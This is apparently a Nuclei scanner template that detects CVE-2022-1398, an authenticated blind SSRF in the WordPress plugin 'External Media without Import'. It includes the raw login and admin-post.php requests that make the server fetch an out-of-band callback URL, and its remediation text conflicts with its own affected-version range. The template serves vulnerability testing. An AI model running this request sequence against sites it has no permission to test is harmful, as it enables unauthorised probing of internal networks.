id: CVE-2022-1398 info: name: External Media without Import <=1.1.2 - Authenticated Blind Server-Side Request Forgery author: theamanrawat severity: medium description: | WordPress External Media without Import plugin through 1.1.2 is susceptible to authenticated blind server-side request forgery. The plugin has no authorization and does not ensure that media added via URLs are external media, which can allow any authenticated users, including subscribers, to obtain sensitive information, modify data, and/or execute unauthorized administrative operations. impact: | Successful exploitation of this vulnerability could allow an attacker to bypass network restrictions, access internal resources, and potentially perform further attacks. remediation: | Upgrade to External Media without Import plugin version 1.1.2 or later. reference: - https://wpscan.com/vulnerability/5440d177-e995-403e-b2c9-42ceda14579e - https://wordpress.org/plugins/external-media-without-import/ - https://nvd.nist.gov/vuln/detail/CVE-2022-1398 - https://github.com/ARPSyndicate/cvemon classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N cvss-score: 6.5 cve-id: CVE-2022-1398 cwe-id: CWE-918 epss-score: 0.00516 epss-percentile: 0.76247 cpe: cpe:2.3:a:external_media_without_import_project:external_media_without_import:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 3 vendor: external_media_without_import_project product: external_media_without_import framework: wordpress tags: cve2022,cve,ssrf,wordpress,wp-plugin,wp,wpscan,external-media-without-import,authenticated,intrusive,external_media_without_import_project http: - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded log={{username}}&pwd={{password}}&wp-submit=Log+In - | GET /wp-admin/upload.php HTTP/1.1 Host: {{Hostname}} - | POST /wp-admin/admin-post.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded urls=http%3A%2F%2F{{interactsh-url}}&width=&height=&mime-type=&action=add_external_media_without_import matchers-condition: and matchers: - type: word part: interactsh_protocol words: - http - type: word part: body_2 words: - external-media-without-import # digest: 4a0a00473045022100ea88341c16c74603a165248c828242edd718bebd88e8fee836f300854f1d421e02200a7cbc1e0bb7b20e0495a0337e0bb328bd711bfe0cb9bd3f6e5281cdcb6b7799:922c64590222798bb761d5b6d8e72950